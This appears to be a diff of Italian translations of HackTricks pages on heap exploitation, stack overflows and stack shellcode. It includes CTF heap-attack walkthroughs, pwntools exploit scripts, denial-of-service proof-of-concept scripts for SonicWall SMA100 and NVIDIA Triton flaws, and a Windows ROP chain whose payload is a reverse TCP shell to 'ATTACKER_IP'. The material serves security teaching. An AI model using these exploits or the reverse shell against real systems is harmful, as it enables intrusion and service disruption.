+- Poi, chunk1 viene freed e chunk0 viene overflowato in modo che il puntatore `bk` di chunk1 punti a: `bk = magic - 0x10`
+- Poi, chunk3 viene allocato con la stessa size di chunk1, il che innescherà l'unsorted bin attack e modificherà il valore della variabile globale, rendendo possibile ottenere la flag.
 - [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
-- La funzione merge è vulnerabile perché se entrambi gli indici passati sono lo stesso, farà realloc su di esso e poi lo freea restituendo un puntatore a quella regione freed che può essere riutilizzata.
-- Di conseguenza, **si creano 2 chunk**: **chunk0** che verrà merged con se stesso e chunk1 per evitare la consolidazione con il top chunk. Poi viene chiamata la funzione **merge** con chunk0 due volte, causando un use after free.
-- Poi viene chiamata la funzione **`view`** con l'indice 2 (che è l'indice del chunk use after free), che farà leak di un indirizzo libc.
-- Poiché il binario ha protezioni che permettono soltanto malloc di size maggiori di **`global_max_fast`** quindi non vengono usati fastbin, verrà usato un unsorted bin attack per sovrascrivere la variabile globale `global_max_fast`.
-- Successivamente, è possibile chiamare la funzione edit con l'indice 2 (il puntatore use after free) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Poi, creando un nuovo chunk si userà l'indirizzo freed precedentemente compromesso (0x20) che **innescherà l'unsorted bin attack** sovrascrivendo `global_max_fast` con un valore molto grande, permettendo ora di creare chunk nelle fast bin.
+- La funzione merge è vulnerabile perché se entrambi gli indici passati sono lo stesso, verrà eseguito un realloc su di esso e poi freed ma verrà restituito un puntatore a quella regione freed che può essere riutilizzata.
+- Pertanto, **vengono creati 2 chunk**: **chunk0** che verrà mergiato con se stesso e chunk1 per evitare la consolidazione con il top chunk. Poi la funzione merge viene chiamata con chunk0 due volte causando un use after free.
+- Poi, la funzione **`view`** viene chiamata con l'indice 2 (che è l'indice del chunk use after free), il che farà leakare un indirizzo libc.
+- Poiché il binario ha protezioni che permettono solo malloc di size maggiori di **`global_max_fast`** quindi non vengono usati i fastbin, verrà usato un unsorted bin attack per sovrascrivere la variabile globale `global_max_fast`.
+- Successivamente, è possibile chiamare la funzione edit con l'indice 2 (il puntatore use after free) e sovrascrivere il puntatore `bk` per puntare a `p64(global_max_fast-0x10)`. Poi, creando un nuovo chunk si userà l'indirizzo freed precedentemente compromesso (0x20) e si innescherà l'unsorted bin attack sovrascrivendo `global_max_fast` con un valore molto grande, permettendo ora di creare chunk nei fast bin.
 - Ora viene eseguito un **fast bin attack**:
-- Prima di tutto si scopre che è possibile lavorare con fast chunk di size 200 nella posizione di **`__free_hook`**:
+- Prima di tutto si scopre che è possibile lavorare con fast chunk di size 200 nella posizione di `__free_hook`:
 - <pre class="language-c"><code class="lang-c">gef➤  p &__free_hook
 $1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
 gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
@@ -115,19 +115,19 @@ gef➤  x/60gx 0x7ff1e9e607a8 - 0x59
 0x7ff1e9e6076f <list_all_lock+15>:      0x0000000000000000      0x0000000000000000
 0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000      0x0000000000000000
 </code></pre>
-- Se riusciamo a ottenere un fast chunk di size 0x200 in questa location, sarà possibile sovrascrivere un function pointer che verrà eseguito.
-- Per questo, viene creato un nuovo chunk di size `0xfc` e la funzione merged viene chiamata con quel puntatore due volte; in questo modo otteniamo un puntatore a un chunk freed di size `0xfc*2 = 0x1f8` nella fast bin.
-- Poi viene chiamata la funzione edit su questo chunk per modificare l'indirizzo **`fd`** di questa fast bin per puntare al precedente function **`__free_hook`**.
-- Successivamente, viene creato un chunk di size `0x1f8` per recuperare dalla fast bin il chunk inutile precedente, quindi un altro chunk di size `0x1f8` viene creato per ottenere un fast bin chunk in **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
-- Infine un chunk contenente la stringa `/bin/sh\x00` viene freed chiamando la funzione delete, innescando la **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
+- Se riusciamo a ottenere un fast chunk di size 0x200 in questa posizione, sarà possibile sovrascrivere un puntatore a funzione che verrà eseguito.
+- Per questo, viene creato un nuovo chunk di size `0xfc` e la funzione merge viene chiamata con quel puntatore due volte; in questo modo otteniamo un puntatore a un chunk freed di size `0xfc*2 = 0x1f8` nel fast bin.
+- Poi, la funzione edit viene chiamata su questo chunk per modificare l'indirizzo **`fd`** di questo fast bin in modo da puntare al precedente `__free_hook`.
+- Poi, viene creato un chunk di size `0x1f8` per recuperare dal fast bin il chunk inutile precedente e successivamente un altro chunk di size `0x1f8` per ottenere un fast bin chunk in `__free_hook` che viene sovrascritto con l'indirizzo della funzione **`system`**.
+- Infine viene freed un chunk contenente la stringa `/bin/sh\x00` chiamando la funzione delete, innescando `__free_hook` che punta a system con `/bin/sh\x00` come parametro.
 - **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere un libc infoleak e poi eseguire un fast bin attack per sovrascrivere malloc hook con un one gadget address
+- Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere un libc infoleak e poi eseguire un fast bin attack per sovrascrivere malloc hook con un one gadget.
 - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
 - Possiamo allocare solo chunk di size maggiore di `0x100`.
-- Sovrascrivere `global_max_fast` usando un Unsorted Bin attack (funziona 1/16 volte a causa di ASLR, perché dobbiamo modificare 12 bit, ma in pratica dobbiamo modificare 16 bit).
-- Fast Bin attack per modificare un array globale di chunk. Questo fornisce un primitivo di read/write arbitrario, che permette di modificare la GOT e far puntare alcune funzioni a `system`.
+- Sovrascrivere `global_max_fast` usando un Unsorted Bin attack (funziona 1/16 volte a causa di ASLR, perché dobbiamo modificare 12 bit, ma dobbiamo modificare 16 bit).
+- Fast Bin attack per modificare un array globale di chunk. Questo fornisce un primitive di arbitrary read/write, che permette di modificare la GOT e puntare qualche funzione a `system`.
 
-## References
+## Riferimenti
 
 - Glibc malloc unsorted-bin integrity checks (example in 2.33 source): https://elixir.bootlin.com/glibc/glibc-2.33/source/malloc/malloc.c
 - `global_max_fast` and related definitions in modern glibc (2.39): https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c

src/binary-exploitation/stack-overflow/README.md

@@ -2,17 +2,17 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Cos'è uno Stack Overflow
+## Che cos'è uno Stack Overflow
 
-Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso **sovrascriveranno le aree di memoria adiacenti**, causando la corruzione di dati validi, l'interruzione del flusso di controllo e, potenzialmente, l'esecuzione di codice malevolo. Questo problema si presenta spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sull'input.
+Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano allocati per contenerli. Questi dati in eccesso **sovrascrivono aree di memoria adiacenti**, causando la corruzione di dati validi, la deviazione del controllo di esecuzione e potenzialmente l'esecuzione di codice malevolo. Questo problema spesso nasce dall'uso di funzioni non sicure che non effettuano il controllo dei limiti sull'input.
 
-Il problema principale di questa sovrascrittura è che il **puntatore di istruzione salvato (EIP/RIP)** e il **puntatore base salvato (EBP/RBP)** per tornare alla funzione precedente sono **memorizzati nello stack**. Di conseguenza, un attaccante potrà sovrascriverli e **controllare il flusso di esecuzione del programma**.
+Il problema principale di questa sovrascrittura è che il **saved instruction pointer (EIP/RIP)** e il **saved base pointer (EBP/RBP)** per tornare alla funzione precedente sono **stored on the stack**. Pertanto, un attaccante potrà sovrascriverli e **controllare il flusso di esecuzione del programma**.
 
-La vulnerabilità di solito sorge perché una funzione **copia nello stack più byte di quanti ne siano stati allocati per essa**, riuscendo così a sovrascrivere altre parti dello stack.
+La vulnerabilità solitamente nasce perché una funzione **copia nello stack più byte di quanti ne siano stati allocati per essa**, riuscendo così a sovrascrivere altre parti dello stack.
 
-Alcune funzioni comunemente vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read`** & **`memcpy`** che prendono un **argomento di lunghezza**, potrebbero essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.
+Alcune funzioni comunemente vulnerabili a questo sono: **`strcpy`, `strcat`, `sprintf`, `gets`**... Inoltre, funzioni come **`fgets`**, **`read`** e **`memcpy`** che richiedono un **length argument** possono essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.
 
-Ad esempio, le seguenti funzioni potrebbero essere vulnerabili:
+Per esempio, le seguenti funzioni potrebbero essere vulnerabili:
 ```c
 void vulnerable() {
 char buffer[128];
@@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies
 printf("You entered: %s\n", buffer);
 }
 ```
-### Trovare gli offset di Stack Overflows
+### Trovare gli offset degli Stack Overflows
 
-Il modo più comune per individuare stack overflows è fornire un input molto grande di `A` (es. `python3 -c 'print("A"*1000)'`) e attendersi un `Segmentation Fault` che indica che si è tentato di accedere all'**indirizzo `0x41414141`**.
+Il modo più comune per trovare stack overflow è fornire un input molto grande di `A`s (es. `python3 -c 'print("A"*1000)'`) e aspettarsi un `Segmentation Fault` che indica che è stato tentato l'accesso all'**indirizzo `0x41414141`**.
 
-Inoltre, una volta trovata una vulnerabilità di Stack Overflow dovrai trovare l'offset necessario per poter **sovrascrivere l'indirizzo di ritorno**; a questo scopo si usa di solito una **De Bruijn sequence.** Per un alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_, essa è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua.
+Inoltre, una volta scoperto che esiste una vulnerabilità di Stack Overflow dovrai trovare l'offset necessario fino a poter **overwrite the return address**, per questo si usa solitamente una **De Bruijn sequence.** La quale, per un alfabeto di dimensione _k_ e sottosequenze di lunghezza _n_, è una **sequenza ciclica in cui ogni possibile sottosequenza di lunghezza _n_ appare esattamente una volta** come sottosequenza contigua.
 
-In questo modo, invece di dover determinare manualmente quale offset sia necessario per controllare l'EIP, è possibile usare come padding una di queste sequenze e poi trovare l'offset dei byte che l'hanno sovrascritta.
+In questo modo, invece di dover determinare a mano quale offset è necessario per controllare l'EIP, è possibile usare come padding una di queste sequenze e poi trovare l'offset dei byte che hanno finito per sovrascriverla.
 
 È possibile usare **pwntools** per questo:
 ```python
@@ -48,16 +48,16 @@ pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp
 ```
-## Sfruttare Stack Overflows
+## Exploiting Stack Overflows
 
-During an overflow (supposing the overflow size if big enough) you will be able to **sovrascrivere** i valori delle variabili locali nello stack fino a raggiungere i saved **EBP/RBP and EIP/RIP (or even more)**.\
-Il modo più comune per sfruttare questo tipo di vulnerabilità è **modificare l'address di ritorno** in modo che quando la funzione termina il **flusso di controllo venga reindirizzato dove l'utente ha specificato** in questo puntatore.
+Durante un overflow (supponendo che la dimensione dell'overflow sia sufficientemente grande) sarai in grado di **overwrite** i valori delle variabili locali nello stack fino a raggiungere il saved **EBP/RBP and EIP/RIP (or even more)**.\
+Il modo più comune di abusare di questo tipo di vulnerabilità è **modifying the return address** così quando la funzione termina il **control flow will be redirected wherever the user specified** in questo puntatore.
 
-Tuttavia, in altri scenari potrebbe essere sufficiente semplicemente **sovrascrivere alcuni valori di variabili nello stack** per l'exploitation (come in semplici challenge CTF).
+Tuttavia, in altri scenari potrebbe bastare semplicemente **overwriting some variables values in the stack** per l'exploitazione (come in facili sfide CTF).
 
 ### Ret2win
 
-In questo tipo di challenge CTF, c'è una **function** **all'interno** del binary che **non viene mai chiamata** e che **devi chiamare per vincere**. Per queste challenge devi solo trovare l'**offset per sovrascrivere l'address di ritorno** e **trovare l'indirizzo della function** da chiamare (di solito [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) è disabilitato) così quando la funzione vulnerabile ritorna, la funzione nascosta verrà chiamata:
+In questo tipo di CTF challenges, esiste una **function** **inside** il binary che è **never called** e che **you need to call in order to win**. Per queste sfide devi solo trovare l'**offset to overwrite the return address** e **find the address of the function** da chiamare (solitamente [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) sarebbe disabilitato) così quando la vulnerable function returns, la hidden function verrà chiamata:
 
 
 {{#ref}}
@@ -66,7 +66,7 @@ ret2win/
 
 ### Stack Shellcode
 
-In questo scenario l'attacker può posizionare uno shellcode nello stack e sfruttare l'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario:
+In questo scenario l'attacker potrebbe piazzare uno shellcode nello stack e abusare dell'EIP/RIP controllato per saltare allo shellcode ed eseguire codice arbitrario:
 
 
 {{#ref}}
@@ -75,7 +75,7 @@ stack-shellcode/
 
 ### Windows SEH-based exploitation (nSEH/SEH)
 
-On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. L'exploitation tipicamente sostituisce il puntatore SEH con un POP POP RET gadget e utilizza il campo nSEH di 4 byte per un salto breve che riporta nella large buffer dove risiede lo shellcode. Un pattern comune è un short jmp in nSEH che atterra su un near jmp di 5 byte posizionato subito prima di nSEH per saltare di centinaia di byte indietro all'inizio del payload.
+Su 32-bit Windows, un overflow può overwrite la Structured Exception Handler (SEH) chain invece del saved return address. L'exploitation tipicamente sostituisce il SEH pointer con un gadget POP POP RET e usa il campo nSEH di 4 byte per un short jump che pivot indietro nel large buffer dove risiede lo shellcode. Un pattern comune è uno short jmp in nSEH che atterra su un near jmp di 5 byte posizionato subito prima di nSEH per saltare centinaia di byte indietro verso l'inizio del payload.
 
 
 {{#ref}}
@@ -84,7 +84,7 @@ windows-seh-overflow.md
 
 ### ROP & Ret2... techniques
 
-This technique is the fundamental framework to bypass the main protection to the previous technique: **No executable stack (NX)**. E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che termineranno eseguendo comandi arbitrari abusando delle istruzioni esistenti nel binary:
+Questa tecnica è il framework fondamentale per bypassare la principale protezione alla tecnica precedente: **No executable stack (NX)**. E permette di eseguire diverse altre tecniche (ret2lib, ret2syscall...) che porteranno all'esecuzione di comandi arbitrari sfruttando istruzioni esistenti nel binary:
 
 
 {{#ref}}
@@ -93,16 +93,16 @@ This technique is the fundamental framework to bypass the main protection to the
 
 ## Heap Overflows
 
-An overflow is not always going to be in the stack, it could also be in the **heap** for example:
+Un overflow non si trova sempre nello stack, potrebbe anche essere nell'**heap** per esempio:
 
 
 {{#ref}}
 ../libc-heap/heap-overflow.md
 {{#endref}}
 
-## Tipi di protezioni
+## Types of protections
 
-Esistono diverse protezioni che cercano di impedire lo sfruttamento delle vulnerabilità, consultale in:
+Ci sono diverse protezioni che cercano di prevenire lo sfruttamento delle vulnerabilità, consultarle in:
 
 
 {{#ref}}
@@ -111,8 +111,8 @@ Esistono diverse protezioni che cercano di impedire lo sfruttamento delle vulner
 
 ### Real-World Example: CVE-2025-40596 (SonicWall SMA100)
 
-Una buona dimostrazione del perché **`sscanf` should never be trusted for parsing untrusted input** è apparsa nel 2025 nell'appliance SonicWall SMA100 SSL-VPN.
-La routine vulnerabile all'interno di `/usr/src/EasyAccess/bin/httpd` tenta di estrarre la version e l'endpoint da qualsiasi URI che inizi con `/__api__/`:
+Una buona dimostrazione del perché **`sscanf` non dovrebbe mai essere considerato affidabile per l'analisi di input non attendibili** apparve nel 2025 nell'appliance SSL-VPN di SonicWall SMA100.
+La routine vulnerabile dentro `/usr/src/EasyAccess/bin/httpd` tenta di estrarre la version e l'endpoint da qualsiasi URI che inizi con `/__api__/`:
 ```c
 char version[3];
 char endpoint[0x800] = {0};
@@ -120,24 +120,24 @@ char endpoint[0x800] = {0};
 sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
 ```
 1. La prima conversione (`%2s`) memorizza in modo sicuro **due** byte in `version` (es. `"v1"`).
-2. La seconda conversione (`%s`) **non ha un specificatore di lunghezza**, quindi `sscanf` continuerà a copiare **fino al primo NUL byte**.
-3. Poiché `endpoint` si trova sullo **stack** ed è lungo **0x800 byte**, fornire un path più lungo di 0x800 byte corrompe tutto ciò che si trova dopo il buffer ‑ inclusi lo **stack canary** e il **saved return address**.
+2. La seconda conversione (`%s`) **non ha uno specificatore di lunghezza**, quindi `sscanf` continuerà a copiare **fino al primo byte NUL**.
+3. Poiché `endpoint` è collocato sul **stack** ed è **0x800 bytes long**, fornire un path più lungo di 0x800 bytes corrompe tutto ciò che si trova dopo il buffer ‑ inclusi il **stack canary** e il **saved return address**.
 
-Una single-line proof-of-concept è sufficiente per causare il crash **prima dell'autenticazione**:
+Una proof-of-concept su una sola riga è sufficiente per scatenare il crash **prima dell'autenticazione**:
 ```python
 import requests, warnings
 warnings.filterwarnings('ignore')
 url = "https://TARGET/__api__/v1/" + "A"*3000
 requests.get(url, verify=False)
 ```
-Anche se gli stack canaries interrompono il processo, an attacker ottiene comunque una **Denial-of-Service** primitive (e, con additional information leaks, possibly code-execution). La lezione è semplice:
+Anche se stack canaries terminano il processo, un attacker ottiene comunque un primitivo **Denial-of-Service** (e, con ulteriori information leaks, eventualmente code-execution). La lezione è semplice:
 
-* Fornire sempre una **larghezza massima del campo** (es. `%511s`).
+* Fornire sempre una **larghezza massima del campo** (e.g. `%511s`).
 * Preferire alternative più sicure come `snprintf`/`strncpy_s`.
 
 ### Esempio reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)
 
-NVIDIA Triton Inference Server (≤ v25.06) conteneva multiple **stack-based overflows** raggiungibili tramite la sua HTTP API.
+Il Triton Inference Server di NVIDIA (≤ v25.06) conteneva multiple **stack-based overflows** raggiungibili tramite la sua HTTP API.
 Il pattern vulnerabile appariva ripetutamente in `http_server.cc` e `sagemaker_server.cc`:
 ```c
 int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
@@ -148,9 +148,9 @@ alloca(sizeof(struct evbuffer_iovec) * n);
 ...
 }
 ```
-1. `evbuffer_peek` (libevent) restituisce il **numero di internal buffer segments** che compongono l'attuale corpo della richiesta HTTP.
+1. `evbuffer_peek` (libevent) restituisce il **numero di segmenti di buffer interni** che compongono l'attuale corpo della richiesta HTTP.
 2. Ogni segmento provoca l'allocazione di un `evbuffer_iovec` da **16-byte** sul **stack** tramite `alloca()` – **senza alcun limite superiore**.
-3. Abusando di **HTTP _chunked transfer-encoding_**, un client può forzare la richiesta a essere suddivisa in **centinaia di migliaia di 6-byte chunks** (`"1\r\nA\r\n"`). Questo fa sì che `n` cresca senza limiti fino all'esaurimento dello stack.
+3. Abusando di **HTTP _chunked transfer-encoding_**, un client può costringere la richiesta a essere suddivisa in **centinaia di migliaia di chunk da 6-byte** (`"1\r\nA\r\n"`). Questo fa sì che `n` cresca senza limiti finché lo stack non viene esaurito.
 
 #### Proof-of-Concept (DoS)
 ```python
@@ -176,10 +176,10 @@ s.close()
 if __name__ == "__main__":
 exploit(*sys.argv[1:])
 ```
-Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e causare il **crash** del daemon in una build predefinita.
+Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e causare il **crash** del daemon su una build di default.
 
 #### Patch e mitigazione
-La release 25.07 sostituisce l'allocazione non sicura sullo stack con una **heap-backed `std::vector`** e gestisce in modo elegante `std::bad_alloc`:
+La release 25.07 sostituisce l'allocazione non sicura sullo stack con un **`std::vector` allocato sull'heap** e gestisce in modo elegante `std::bad_alloc`:
 ```c++
 std::vector<evbuffer_iovec> v_vec;
 try {
@@ -190,9 +190,9 @@ return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
 struct evbuffer_iovec *v = v_vec.data();
 ```
 Lezioni apprese:
-* Non chiamare mai `alloca()` con dimensioni controllate dall'attaccante.
-* Le richieste chunked possono cambiare drasticamente la forma dei buffer lato server.
-* Valida / limita qualsiasi valore derivato dall'input del client *prima* di usarlo nelle allocazioni di memoria.
+* Non chiamare mai `alloca()` con attacker-controlled sizes.
+* Chunked requests possono drasticamente cambiare la forma dei server-side buffers.
+* Valida / limita qualsiasi valore derivato da client input *prima* di usarlo in memory allocations.
 
 ## Riferimenti
 * [watchTowr Labs – Stack Overflows, Heap Overflows and Existential Dread (SonicWall SMA100)](https://labs.watchtowr.com/stack-overflows-heap-overflows-and-existential-dread-sonicwall-sma100-cve-2025-40596-cve-2025-40597-and-cve-2025-40598/)

src/binary-exploitation/stack-overflow/stack-shellcode/README.md

@@ -4,11 +4,11 @@
 
 ## Informazioni di base
 
-**Stack shellcode** è una tecnica usata nella **binary exploitation** in cui un attacker scrive shellcode nello stack di un vulnerable program e poi modifica il **Instruction Pointer (IP)** o il **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, facendolo eseguire. È un metodo classico per ottenere accesso non autorizzato o eseguire comandi arbitrari su un target system. Di seguito una panoramica del processo, incluso un semplice esempio in C e come potresti scrivere un exploit corrispondente usando Python con **pwntools**.
+**Stack shellcode** è una tecnica usata in **binary exploitation** in cui un attaccante scrive shellcode nello stack di un programma vulnerabile e poi modifica il **Instruction Pointer (IP)** o il **Extended Instruction Pointer (EIP)** per puntare alla posizione di questo shellcode, causando la sua esecuzione. Questo è un metodo classico usato per ottenere accesso non autorizzato o eseguire comandi arbitrari su un sistema target. Ecco una panoramica del processo, incluso un semplice esempio in C e come potresti scrivere un exploit corrispondente usando Python con **pwntools**.
 
-### Esempio in C: A Vulnerable Program
+### Esempio in C: un programma vulnerabile
 
-Cominciamo con un semplice esempio di vulnerable C program:
+Iniziamo con un semplice esempio di un programma C vulnerabile:
 ```c
 #include <stdio.h>
 #include <string.h>
@@ -33,11 +33,11 @@ Per compilare questo programma disabilitando varie protezioni (per simulare un a
 gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
 ```
 - `-fno-stack-protector`: Disabilita la protezione dello stack.
-- `-z execstack`: Rende lo stack eseguibile, necessario per eseguire shellcode memorizzata sullo stack.
-- `-no-pie`: Disabilita Position Independent Executable (PIE), rendendo più semplice prevedere l'indirizzo di memoria in cui si troverà la nostra shellcode.
-- `-m32`: Compila il programma come eseguibile a 32 bit, spesso usato per semplicità nello sviluppo di exploit.
+- `-z execstack`: Rende lo stack eseguibile, necessario per eseguire shellcode memorizzata nello stack.
+- `-no-pie`: Disabilita Position Independent Executable, rendendo più facile prevedere l'indirizzo di memoria dove il nostro shellcode si troverà.
+- `-m32`: Compila il programma come eseguibile a 32-bit, spesso usato per semplicità nello sviluppo di exploit.
 
-### Python Exploit usando Pwntools
+### Exploit Python usando pwntools
 
 Ecco come potresti scrivere un exploit in Python usando **pwntools** per eseguire un attacco **ret2shellcode**:
 ```python
@@ -66,28 +66,28 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
 p.sendline(payload)
 p.interactive()
 ```
-Questo script costruisce un payload composto da una **NOP slide**, la **shellcode**, e poi sovrascrive la **EIP** con l'indirizzo che punta alla NOP slide, garantendo l'esecuzione della shellcode.
+Questo script costruisce un payload composto da una **NOP slide**, il **shellcode**, e poi sovrascrive la **EIP** con l'indirizzo che punta alla NOP slide, assicurando che il shellcode venga eseguito.
 
-La **NOP slide** (`asm('nop')`) viene usata per aumentare la probabilità che l'esecuzione "slide" nella nostra shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento di `p32()` all'indirizzo iniziale del tuo buffer più un offset per atterrare nella NOP slide.
+La **NOP slide** (`asm('nop')`) è usata per aumentare la probabilità che l'esecuzione "scivoli" nel nostro shellcode indipendentemente dall'indirizzo esatto. Regola l'argomento di `p32()` all'indirizzo iniziale del tuo buffer più un offset per atterrare nella NOP slide.
 
 ## Windows x64: Bypass NX with VirtualAlloc ROP (ret2stack shellcode)
 
-On modern Windows the stack is non-executable (DEP/NX). A common way to still execute stack-resident shellcode after a stack BOF is to build a 64-bit ROP chain that calls VirtualAlloc (or VirtualProtect) from the module Import Address Table (IAT) to make a region of the stack executable and then return into shellcode appended after the chain.
+Su Windows moderni lo stack è non eseguibile (DEP/NX). Un metodo comune per eseguire comunque shellcode residenti nello stack dopo un stack BOF è costruire una ROP chain a 64-bit che chiama VirtualAlloc (o VirtualProtect) dalla Import Address Table (IAT) del modulo per rendere una regione dello stack eseguibile e poi ritornare al shellcode aggiunto subito dopo la chain.
 
-Punti chiave (Win64 calling convention):
+Key points (Win64 calling convention):
 - VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect)
-- RCX = lpAddress → scegli un indirizzo nello stack corrente (e.g., RSP) così la regione RWX appena allocata si sovrappone al tuo payload
-- RDX = dwSize → abbastanza grande per la tua chain + shellcode (e.g., 0x1000)
+- RCX = lpAddress → scegli un indirizzo nello stack corrente (es., RSP) così che la regione RWX appena allocata si sovrapponga al tuo payload
+- RDX = dwSize → abbastanza grande per la tua chain + shellcode (es., 0x1000)
 - R8  = flAllocationType = MEM_COMMIT (0x1000)
 - R9  = flProtect = PAGE_EXECUTE_READWRITE (0x40)
 - Return directly into the shellcode placed right after the chain.
 
-Strategia minima:
+Minimal strategy:
 1) Leak a module base (e.g., via a format-string, object pointer, etc.) per calcolare gli indirizzi assoluti di gadget e IAT sotto ASLR.
-2) Trova gadgets per caricare RCX/RDX/R8/R9 (pop or mov/xor-based sequences) e una call/jmp [VirtualAlloc@IAT]. Se non hai pop r8/r9 diretti, usa gadgets aritmetici per sintetizzare costanti (e.g., set r8=0 and repeatedly add r9=0x40 forty times to reach 0x1000).
+2) Trova gadget per caricare RCX/RDX/R8/R9 (sequenze basate su pop o mov/xor) e una call/jmp [VirtualAlloc@IAT]. Se non hai pop r8/r9 diretti, usa gadget aritmetici per sintetizzare le costanti (es., imposta r8=0 e aggiungi ripetutamente r9=0x40 quaranta volte per arrivare a 0x1000).
 3) Posiziona lo stage-2 shellcode immediatamente dopo la chain.
 
-Esempio layout (concettuale):
+Example layout (conceptual):
 ```
 # ... padding up to saved RIP ...
 # R9 = 0x40 (PAGE_EXECUTE_READWRITE)
@@ -104,12 +104,12 @@ POP_RDX_RET; 0x1000
 JMP_SHELLCODE_OR_RET
 # ---- stage-2 shellcode (x64) ----
 ```
-Con un set di gadget limitato, puoi costruire i valori dei registri indirettamente, ad esempio:
+Con un set di gadget limitato, puoi costruire valori di registri indirettamente, per esempio:
 - mov r9, rbx; mov r8, 0; add rsp, 8; ret → imposta r9 con il valore di rbx, azzera r8 e compensa lo stack con un junk qword.
 - xor rbx, rsp; ret → inizializza rbx con l'attuale stack pointer.
 - push rbx; pop rax; mov rcx, rax; ret → sposta un valore derivato da RSP in RCX.
 
-Esempio Pwntools (data una base nota e gadget noti):
+Esempio Pwntools (data una base nota e gadgets):
 ```python
 from pwn import *
 base = 0x7ff6693b0000
@@ -133,29 +133,29 @@ rop += p64(IAT_VirtualAlloc)
 rop += asm(shellcraft.amd64.windows.reverse_tcp("ATTACKER_IP", ATTACKER_PORT))
 ```
 Suggerimenti:
-- VirtualProtect funziona in modo simile se è preferibile rendere un buffer esistente RX; l'ordine dei parametri è diverso.
-- Se lo spazio nello stack è limitato, allocare RWX altrove (RCX=NULL) e jmp a quella nuova regione invece di riutilizzare lo stack.
-- Considera sempre i gadget che modificano RSP (es., add rsp, 8; ret) inserendo qword di riempimento.
+- VirtualProtect funziona in modo simile se rendere un buffer esistente RX è preferibile; l'ordine dei parametri è diverso.
+- Se lo spazio sullo stack è limitato, allocare RWX altrove (RCX=NULL) e jmp a quella nuova regione invece di riutilizzare lo stack.
+- Considerare sempre i gadget che aggiustano RSP (e.g., add rsp, 8; ret) inserendo junk qwords.
 
 
-- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) dovrebbe essere disabilitato affinché l'indirizzo sia affidabile tra le esecuzioni; altrimenti l'indirizzo in cui la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
-- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere disabilitati anch'essi, altrimenti l'indirizzo di ritorno EIP compromesso non verrà mai seguito.
-- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protezione **stack** impedirebbe l'esecuzione dello shellcode nello stack perché quella regione non sarebbe eseguibile.
+- [**ASLR**](../../common-binary-protections-and-bypasses/aslr/index.html) **dovrebbe essere disabilitato** affinché l'indirizzo sia affidabile tra esecuzioni, altrimenti l'indirizzo dove la funzione sarà memorizzata non sarà sempre lo stesso e avresti bisogno di qualche leak per capire dove è caricata la funzione win.
+- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) dovrebbero essere inoltre disabilitati, altrimenti l'indirizzo di ritorno EIP compromesso non verrà mai seguito.
+- [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) la protezione dello **stack** impedirebbe l'esecuzione del shellcode all'interno dello stack perché quella regione non sarebbe eseguibile.
 
-## Altri esempi e riferimenti
+## Other Examples & References
 
 - [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
 - [https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html](https://guyinatuxedo.github.io/06-bof_shellcode/csaw17_pilot/index.html)
-- 64bit, ASLR con stack address leak, scrivi shellcode e fai jump ad esso
